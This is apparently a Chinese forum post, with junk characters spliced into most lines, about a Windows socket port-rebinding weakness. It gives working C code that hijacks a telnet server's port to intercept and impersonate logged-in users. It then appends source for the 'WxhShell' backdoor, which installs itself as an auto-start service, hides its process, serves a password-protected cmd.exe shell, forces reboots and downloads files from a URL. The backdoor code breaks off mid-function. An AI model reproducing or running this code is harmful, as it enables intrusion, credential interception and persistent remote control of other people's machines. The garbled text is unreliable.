在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
SZEr
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$
a7^3 kJ
>B) saddr.sin_family = AF_INET;
Zzs pE} IU/*YI%W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?(N(8)G1 e^fjla5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3:RZ@~u= XUWza=BR" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F7df EP
@=i 这意味着什么?意味着可以进行如下的攻击:
tW +I? BScysoeD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<GC:aG &E~7ty' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s_|wvOW)' (fl2?d5+C 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e_e|t>nQ 5m/r,d^H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
y}|zH J_tJj8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
t}K?.To$ G{:L^2> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*E>YLkg] 7be?=c)+" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h`)r :a7 WWY9U #include
b]Jh0B~Y #include
uE>}>6)b #include
r$+9grm< #include
6w5 4+n DWORD WINAPI ClientThread(LPVOID lpParam);
>q}EZC int main()
=,sMOJc> {
^+pmZw90 WORD wVersionRequested;
xv
/w % DWORD ret;
tTY (I1 WSADATA wsaData;
% 'P58 BOOL val;
|_-FQ~Hf F SOCKADDR_IN saddr;
O32:j
SOCKADDR_IN scaddr;
\aG>(Mr int err;
>:s:`Au SOCKET s;
+* &!u=%G SOCKET sc;
4bmpMF- int caddsize;
%_5B"on HANDLE mt;
yNO5h]o DWORD tid;
>XA#/K wVersionRequested = MAKEWORD( 2, 2 );
g5H+2lSC err = WSAStartup( wVersionRequested, &wsaData );
idV4hMF9 if ( err != 0 ) {
(fq>P1- printf("error!WSAStartup failed!\n");
z}Xn>-N- return -1;
2;A].5>l }
8c#u"qF saddr.sin_family = AF_INET;
cU+/I>V /QG8\wXE2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O||M
| 5gi`&t` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
r..\(r saddr.sin_port = htons(23);
ppS,9e- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>0{{loqq {
R}BHRmSQ printf("error!socket failed!\n");
Ig]Gg/1G return -1;
+
6O5hZ }
9"oc.ue.2D val = TRUE;
8hGp?Ihu //SO_REUSEADDR选项就是可以实现端口重绑定的
lQldW|S> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kE=}. {
1)vdM(y3j printf("error!setsockopt failed!\n");
J'|qFS return -1;
8 yQjB-,# }
yX?& K}JI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]k5l]JB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Zn|vT&:Hg //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[P407Sa" xn}sh[<:P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
k~h'`( {
pl%3RVpoc ret=GetLastError();
,vl][MhM printf("error!bind failed!\n");
'3
5w( return -1;
/X{:~*.z }
Y[#i(5w listen(s,2);
yuWoz*:t while(1)
Tt<Ry'Z$3 {
}>>lgW>n,; caddsize = sizeof(scaddr);
PSNfh7g //接受连接请求
}mzM'9JH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KpA
iKe if(sc!=INVALID_SOCKET)
5v<BB`XWp {
|]w0ytL>(2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
y".uu+hL` if(mt==NULL)
R&PQU/t) {
ppP7jiGo printf("Thread Creat Failed!\n");
8HS1^\~(6l break;
9X/c%:)\= }
h/W@R_Y }
:)_Ap{9J CloseHandle(mt);
S;[9
hI+ }
CXwDG_e closesocket(s);
a=>PGriL WSACleanup();
GcmN40 return 0;
M#c.(QdF }
BrcT`MM[(= DWORD WINAPI ClientThread(LPVOID lpParam)
I@76ABu^ {
\#Ez["mD
SOCKET ss = (SOCKET)lpParam;
|#fqHON SOCKET sc;
C(qqGK{ unsigned char buf[4096];
Y5M>&}N SOCKADDR_IN saddr;
rf?Q# KM\W long num;
4RTuy+
M DWORD val;
`uo'w:Q DWORD ret;
z-<U5-' //如果是隐藏端口应用的话,可以在此处加一些判断
M}MXR=X, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
u^&2T(xGi saddr.sin_family = AF_INET;
ppH5>Y
6c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8T6.Zhv saddr.sin_port = htons(23);
hY XH9: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Uv?s < {
!l-^JPb printf("error!socket failed!\n");
L8sHG$[ return -1;
gIa/sD2m> }
:d\ne val = 100;
)D?\ru H if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Yz4)Q1 {
'_!j9A]g ret = GetLastError();
%5.aC|^} return -1;
c]3% wL }
r6k0=6i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&0! f_ {
~$xLR/{y ret = GetLastError();
_' KJ:3e return -1;
8G@I e }
[gI;;GW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G&8)5d[ {
7 $AEh+f printf("error!socket connect failed!\n");
$h"Ht2/ J closesocket(sc);
baJ(Iy$XT closesocket(ss);
;o*n*N return -1;
AfAg#75q }
p4mlS while(1)
>b9nc\~ {
ti6\~SY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"A\.`*6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
.<uxZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;\~{7 9c num = recv(ss,buf,4096,0);
{@j0?s if(num>0)
X]up5tk~ send(sc,buf,num,0);
i=67 else if(num==0)
Y JzKE7%CO break;
ACQbw)tiv} num = recv(sc,buf,4096,0);
\GA6;6%Oo if(num>0)
L%4[,Rsw send(ss,buf,num,0);
zdY+?s)p else if(num==0)
MR8\'0] break;
*]uo/g }
0V{a{>+ closesocket(ss);
eteq Mg}M closesocket(sc);
F<SCW+>z2a return 0 ;
)nJo\HFXv }
c6zghP3dR ] Tc!=SV 00s&<EM ==========================================================
\;w$"@9 QEd>T"@g 下边附上一个代码,,WXhSHELL
BN!N_r iq s ==========================================================
`LD#fg* GL4-v[]6I #include "stdafx.h"
FFE IsB"9 ?,Z[)5 ZN #include <stdio.h>
B^4D`0G[4 #include <string.h>
#is1y3yh #include <windows.h>
tnx)_f #include <winsock2.h>
n<Vq@=9AE #include <winsvc.h>
CH
|A^!Zm #include <urlmon.h>
?$rSbw n,KOQI; #pragma comment (lib, "Ws2_32.lib")
UsT+o #pragma comment (lib, "urlmon.lib")
Koh`|]N I%dFVt@ #define MAX_USER 100 // 最大客户端连接数
8u+FWbOl] #define BUF_SOCK 200 // sock buffer
HS1Gy/6' #define KEY_BUFF 255 // 输入 buffer
;Od;q]G7L a3o4> 9 #define REBOOT 0 // 重启
x,kZ>^]&b #define SHUTDOWN 1 // 关机
[X >sG)0S~ ZY%]F,Y #define DEF_PORT 5000 // 监听端口
,,*i!%Adw 4]\f} #define REG_LEN 16 // 注册表键长度
T<!&6,N A #define SVC_LEN 80 // NT服务名长度
P38D-fLq yc|j]? // 从dll定义API
eUiJl6^x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)ZkQWiP- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
["'0vQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M,0@@: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eURy] Ift @/A // wxhshell配置信息
YXD6GJWo struct WSCFG {
3$YgGum int ws_port; // 监听端口
caA>; +aBH char ws_passstr[REG_LEN]; // 口令
tx-HY<
int ws_autoins; // 安装标记, 1=yes 0=no
_J<^'w^;% char ws_regname[REG_LEN]; // 注册表键名
P%Fkd3e+ char ws_svcname[REG_LEN]; // 服务名
o)NQE? char ws_svcdisp[SVC_LEN]; // 服务显示名
=M]f7lJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
-49z.(@ki char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d1=kHU4_9 int ws_downexe; // 下载执行标记, 1=yes 0=no
!1MSuvWP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]?<j]u0J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
k!/"J
; Z,'#=K };
8"2
Y$*)( 6#NptXB // default Wxhshell configuration
XwlAW7lU= struct WSCFG wscfg={DEF_PORT,
<OG rC .k} "xuhuanlingzhe",
}m6zu'CV 1,
FB<#N+L\ "Wxhshell",
'B;aXy/JC "Wxhshell",
>BC?%|l "WxhShell Service",
oH/6 "Wrsky Windows CmdShell Service",
j(j o8 "Please Input Your Password: ",
;F)gr 1,
5l"EQ9 "
http://www.wrsky.com/wxhshell.exe",
sP1wO4M?{ "Wxhshell.exe"
n-q };
?y( D_Nt L E\U6n ""] // 消息定义模块
RfP>V/jy5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Vc!` BiH char *msg_ws_prompt="\n\r? for help\n\r#>";
0Xmp)_vba char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!2dA8b char *msg_ws_ext="\n\rExit.";
a}N m;5K char *msg_ws_end="\n\rQuit.";
u!in>]^ char *msg_ws_boot="\n\rReboot...";
/|{Yot
e char *msg_ws_poff="\n\rShutdown...";
y=!"++T]B< char *msg_ws_down="\n\rSave to ";
p1B~:9y9X ]<z4p'F1% char *msg_ws_err="\n\rErr!";
[da,SM char *msg_ws_ok="\n\rOK!";
1( V>8}zn B7"/K]dR: char ExeFile[MAX_PATH];
?`+46U% int nUser = 0;
P.bBu HANDLE handles[MAX_USER];
cnm&oC 6 int OsIsNt;
:Mz$~o< S1Q2<<[ SERVICE_STATUS serviceStatus;
\79KU SERVICE_STATUS_HANDLE hServiceStatusHandle;
voRr9E*n 'I|A*rO // 函数声明
b2OVg
+3 int Install(void);
}wmn v int Uninstall(void);
4_3O?IY int DownloadFile(char *sURL, SOCKET wsh);
2mVcT3 int Boot(int flag);
x <^vJ1 void HideProc(void);
iV X 12 int GetOsVer(void);
,#G>& int Wxhshell(SOCKET wsl);
6< x0e;> void TalkWithClient(void *cs);
2UYtFWB9o int CmdShell(SOCKET sock);
!,}W|(P) int StartFromService(void);
Ux_ tHyc/ int StartWxhshell(LPSTR lpCmdLine);
T(@y#09 y74Ph:^k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=ogzq.+| VOID WINAPI NTServiceHandler( DWORD fdwControl );
<1tFwC|4BJ ns_5|*' // 数据结构和表定义
!6_lD0 SERVICE_TABLE_ENTRY DispatchTable[] =
9z9z:PU {
>Lo 0,b$ {wscfg.ws_svcname, NTServiceMain},
8>.l4:` {NULL, NULL}
K5U=%z };
0RY{y n3 *@'4 A :A // 自我安装
/H+br_D9 int Install(void)
G%N/]]ll {
%AbA(F char svExeFile[MAX_PATH];
J{$+\ HKEY key;
+RexQE strcpy(svExeFile,ExeFile);
F"O{eK0T +W+O7SK\y // 如果是win9x系统,修改注册表设为自启动
b#h?O} if(!OsIsNt) {
Uq/#\7/rL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ui6f>0? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(uG.s %I RegCloseKey(key);
QF/A-[V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+pU\;x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=PXQX(_ RegCloseKey(key);
[KXxn>n return 0;
w[w{~`([", }
W69
-,w/ }
l,Un7]* }
JpN]j` else {
m%ZJp7C J_tj9+r^ // 如果是NT以上系统,安装为系统服务
82Fq}N
< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
K
@3 yS8F if (schSCManager!=0)
u9>zC QRO {
*<*{gO?Q4 SC_HANDLE schService = CreateService
4HlOv%8 (
8[LwG& schSCManager,
a~YFJAkg9 wscfg.ws_svcname,
"&/:"~r wscfg.ws_svcdisp,
E@\e37e SERVICE_ALL_ACCESS,
X%"P0P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+5Z0-N@ SERVICE_AUTO_START,
o)'u%m SERVICE_ERROR_NORMAL,
6'y+Ev$9 svExeFile,
}49X
N NULL,
0wZ_;FN*- NULL,
!xoN%5! NULL,
dzDh V{ NULL,
Eq-fR~<9 NULL
grEmp9Q ? );
lyiBRMiP| if (schService!=0)
MdK!Y {
.J' 8d"+ CloseServiceHandle(schService);
7kU:91zR CloseServiceHandle(schSCManager);
Ko6tp9G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Z qX U strcat(svExeFile,wscfg.ws_svcname);
K1>.%m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%]%.{W\j3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q+XL,E RegCloseKey(key);
v{Cts3?Br return 0;
"6/` }
%C=^
h1t% }
0S@O]k) CloseServiceHandle(schSCManager);
HM%n`1ZU }
P_+S;(QQ~d }
>B$ZKE A+%oE return 1;
:kSA^w8 }
V^aX^ ; ! *\)7D // 自我卸载
!!&H'XEJV int Uninstall(void)
mfOr+ {
v 1Yf:c HKEY key;
/km^IH s~Wj h7' if(!OsIsNt) {
{\22C `9t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B]dHMLzl RegDeleteValue(key,wscfg.ws_regname);
a9z|ef RegCloseKey(key);
"UVqkw,vt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DQW^;Ls RegDeleteValue(key,wscfg.ws_regname);
6Uq@v8mh RegCloseKey(key);
VKy:e. return 0;
B`OggdE }
6N(Wv0b $ }
{snLiCl }
#M*h)/d[A else {
f XxdOn. |33pf7o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
lZCvH1&" if (schSCManager!=0)
,p\^n`A32 {
2|F.J G^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dT8m$}h9 if (schService!=0)
1\q(xka{ {
"|RP_v2 if(DeleteService(schService)!=0) {
<4}zl'. CloseServiceHandle(schService);
/b,M492 CloseServiceHandle(schSCManager);
`L`*jA+_ return 0;
ghd~p@4 }
<lZyUd CloseServiceHandle(schService);
AbUPJF"F }
>FPE%X0+ CloseServiceHandle(schSCManager);
|Q:$G!/ }
qgrRH' }
I_.(&hMn x{<WJ|'B return 1;
gWA)V*}f }
+B^/ =3P a`(6hL3IT // 从指定url下载文件
Woa5Ov!n0 int DownloadFile(char *sURL, SOCKET wsh)
x3>K{ {
CF9a~^+% HRESULT hr;
b!SGQv(^M char seps[]= "/";
6NJ"ty9Bp char *token;
|$Dt6{h char *file;
h8>7si char myURL[MAX_PATH];
6PT ,m char myFILE[MAX_PATH];
)hK5_]"lmj %KNnss} strcpy(myURL,sURL);
aKS
2p3 token=strtok(myURL,seps);
HZCEr6}( while(token!=NULL)
L
q8}z-? {
~R-S$qizAC file=token;
3B/ GcltfM token=strtok(NULL,seps);
QE}S5#_" }
/,$;xt-J35 mk_cub@ GetCurrentDirectory(MAX_PATH,myFILE);
7{f&L' strcat(myFILE, "\\");
+o(t5O[G strcat(myFILE, file);
R'qB-v. send(wsh,myFILE,strlen(myFILE),0);
_z\oDd`' send(wsh,"...",3,0);
qu BTRW9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Lx,"jA/ if(hr==S_OK)
n )YNt return 0;
cyA|6Ltg% else
CeS8I-, return 1;
}!\NdQs E4[
|=< }
Xhtc0\0"( K+Q81<X~ // 系统电源模块
UBqA[9 int Boot(int flag)
hLG UkG?6G {
kt%9PGw HANDLE hToken;
soW. TOKEN_PRIVILEGES tkp;
7&XU]I %!%3jo0t if(OsIsNt) {
+oBf\!{cW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r4dG83qg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0#F3@/1h tkp.PrivilegeCount = 1;
*D
#H-]9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A?|KA<&m#u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\+fP& if(flag==REBOOT) {
VYTdK"% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
t&:'Ag.G return 0;
6@g2v^ % }
%d($\R-*O else {
pez*kU+9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>T;"bcb return 0;
]Gow }
['R2$z }
EAxg>}'1j else {
1QtT*{zm$F if(flag==REBOOT) {
}Xyu"P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
w7p%6m return 0;
XV1#/@H; }
y;Q_8|,F else {
/:>qhRFJA: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(*7edc"F return 0;
P~redX=t@ }
kU_bLC?>D }
E:xpma1Qf nf+8OH7 return 1;
$EW31R5h<s }
].]yqD4P kNUbH!PO // win9x进程隐藏模块
"6^tG[G% void HideProc(void)
,&
=(DJ {
M |?qSFv: (FbqKx'uq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8U0y86q>)E if ( hKernel != NULL )
iU9de {
OgyETSN8C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d?WA}VFU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l*HONl&j FreeLibrary(hKernel);
&|iFhf[o }
;4 R1 X3(:)zUL return;
()JM161 }
DF%\1C> * gr{{c // 获取操作系统版本
?;,s=2 int GetOsVer(void)
@YdS_W {
.a:"B\B` OSVERSIONINFO winfo;
\E9Z
H3; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Zw| IY9D GetVersionEx(&winfo);
6(sqS~D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
d{hbgUSj return 1;
\v9IbU*js else
~-GgVi*I return 0;
*PMvA1eN=# }
Mr<2I x%B^hH;W // 客户端句柄模块
~Lhq7;=H?O int Wxhshell(SOCKET wsl)
~l}rYi>g% {
yY4*/w7*j4 SOCKET wsh;
lDe9(5|)Q struct sockaddr_in client;
tq}sXt DWORD myID;
dc5w_98o $6XSW while(nUser<MAX_USER)
"w9`UFu%^e {
g)!B};AA int nSize=sizeof(client);
a-4'jT: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_xI'p6C if(wsh==INVALID_SOCKET) return 1;
qw&Wfk\} {CR~G2Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BZQ98"Fz* if(handles[nUser]==0)
,G
e7
9( closesocket(wsh);
cn v4!c0 else
gHQ[D|zu nUser++;
djS?$WBpU }
b(_PCVC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
( u@[}! .6xP>!E}Q return 0;
,E3"AisI }
{ r`l zwN;CD1 // 关闭 socket
-dsB@nPiUw void CloseIt(SOCKET wsh)
2WIL0Siwl {
Pr{? A]dQ closesocket(wsh);
?Bq"9*q nUser--;
:7D&=n ) ExitThread(0);
m/|>4~ }
(Z=ziopDE M]!R}<]{ // 客户端请求句柄
as)2ny! u void TalkWithClient(void *cs)
{0q;:7Bt {
8;4vr@EV Pqo_+fL+ SOCKET wsh=(SOCKET)cs;
Op,Ce4A char pwd[SVC_LEN];
bENfEOf, char cmd[KEY_BUFF];
=#&K\ char chr[1];
?xGxr|+a
int i,j;
4
`Z @^W pB@8b$8(Z while (nUser < MAX_USER) {
}.3F|H _J }ce if(wscfg.ws_passstr) {
L=iaL[zdJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+)^F9LPl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#57nm]? //ZeroMemory(pwd,KEY_BUFF);
oylY1~~}0K i=0;
^uW](2 while(i<SVC_LEN) {
_YWw7q H?sl_3-# // 设置超时
;/N[tO?Q fd_set FdRead;
<t,uj.9_ struct timeval TimeOut;
LS,/EGJ FD_ZERO(&FdRead);
bESmKe( FD_SET(wsh,&FdRead);
)@ZJ3l. TimeOut.tv_sec=8;
;j-@
$j TimeOut.tv_usec=0;
U/>f" F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T [N:X0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
::g"dRS<v `~WxMY0M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8Z4d<DIJ pwd
=chr[0]; [y\ZnoB
if(chr[0]==0xd || chr[0]==0xa) { X1]&j2WR
pwd=0; W'E!5T^
break;
=5b5d
} Vl{CD>$,
i++; /u<lh.
hPW
} K7FuMB
},2-\-1
// 如果是非法用户,关闭 socket DIB Az s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O_nk8
} @/lLLGrZ"
W,`u5gbT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J#L-Slav%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o$'Fz[U
>-r\]/^
while(1) { KZ6}),p
j1N1c~2
ZeroMemory(cmd,KEY_BUFF); 1.o-2:]E
s{NEP/QQJ
// 自动支持客户端 telnet标准 p)f OAr
j=0; >@[`,
while(j<KEY_BUFF) { U`,&Q]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [@"H2#CQ
cmd[j]=chr[0]; ?;0=>3p*0
if(chr[0]==0xa || chr[0]==0xd) { g:q+.6va"
cmd[j]=0; n>Y3hY
break; hQ i[7r($8
} y%|nE((
j++; &O#a==F!(
} yv9~
d0>V^cB '?
// 下载文件 ~=Z&l
if(strstr(cmd,"http://")) { ^LfCLI9Z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~2
T_)l?
if(DownloadFile(cmd,wsh)) G-G!c2o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z_iu^Q
else #-'=)l}i1A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =jkC]0qx
} aj20, w
else { MnO,Cd6{%d
^8o'\V"m^
switch(cmd[0]) {
@\i6m]\X
nUQcoSY#
// 帮助 6.6~w\fR8
case '?': { yH|ucN~k5S
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T73oW/.0X?
break; r%xp^j}
} h76#HUBr!
// 安装 f/Grem
case 'i': { NO
+j
if(Install()) Uey.@ 2Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UY5ia4_D
else b5_A*-s$M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4adCMfP7.
break; *wwLhweQ5W
} 9HLn_|yU
// 卸载 V8NJ0fF
case 'r': { 76c4~IG#
if(Uninstall()) [p$b@og/>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,vrdtL
else `V w9j,G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3rZFN^
break; Fw+JhIVP
} hAOXOj1
// 显示 wxhshell 所在路径 V(L~t=k$
case 'p': { NSOWn]E
char svExeFile[MAX_PATH]; zek\AQN
strcpy(svExeFile,"\n\r"); ,4NvD2Y
strcat(svExeFile,ExeFile); ba%[!
send(wsh,svExeFile,strlen(svExeFile),0); L:`|lc=^
break; 6[69|&
} 394u']M
// 重启 A~ '2ki5$g
case 'b': { \C
ZiU3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B+jT|Y'
if(Boot(REBOOT)) ynw^nmM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,xCfS)
else { nOkX:5
closesocket(wsh); zr&K0a{hc
ExitThread(0); L-Xd3RCD
} Fz?ON1\
break; 7_S+/2}U*
} $P^=QN5Bb
// 关机 Xr:"8FT
case 'd': { N ]}Re$5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X-3L4@T:?
if(Boot(SHUTDOWN)) R=i$*6}a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*/P~$xIj
else { s$C;31k
closesocket(wsh); 9$~D4T
ExitThread(0); Aw4Qm2Kf
} m/0G=%d%k
break; `.MM|6
} 5WO!u:!'
// 获取shell :B$=Pp1
case 's': { [_|iW%<`
CmdShell(wsh); ? Q.Y
closesocket(wsh); ).9-=P HlX
ExitThread(0); %p/Qz|W
break; nkS6A}i3o
} 3dcZ1Yrn
// 退出 5`^"<wNI
case 'x': { 8ji!FZf
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,G"?fQ7z R
CloseIt(wsh); m]Z+u e
break; &'WgBjP
} *#N%3:@T
// 离开 7vNS@[8
case 'q': { T(a*d7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O_-.@uo./(
closesocket(wsh); OA%.>^yb@
WSACleanup(); k,X)PQc
exit(1); g[8VfIe
break; 5 f/[HO)
} :7W5R
} s<E_74q1
} np=m~k
?
@h
// 提示信息 `gfK#0x#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Lum$C
c}
} *%B%BJnX
} {
zlq6z
7; TS
return; mTZlrkT
} 6jCg7Su]
;NRm ,
// shell模块句柄 vIN6W
int CmdShell(SOCKET sock) DQ9 <N~l
{ |g8
]WFc
STARTUPINFO si; g\rujxHlH
ZeroMemory(&si,sizeof(si)); PA`b~Ct
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; * fSa8CV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }9Y='+.%^
PROCESS_INFORMATION ProcessInfo; U!3nn#!yE
char cmdline[]="cmd"; 6XFO@c}d
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dMRwQejY{7
return 0; CrS[FM= +W
} #kLM=a/_NO
g0g/<Tv[
// 自身启动模式 lCd^|E
int StartFromService(void) #0!C3it6c
{ IdzF<>;W
typedef struct %m+Z rH(
{ +=\S "e[F
DWORD ExitStatus; SkvKzV.R;
DWORD PebBaseAddress; G`6U t
DWORD AffinityMask; 3AWB Y.
DWORD BasePriority; <Y~V!9(~{Q
ULONG UniqueProcessId; '?yZ,t
ULONG InheritedFromUniqueProcessId; }!n<L:njX
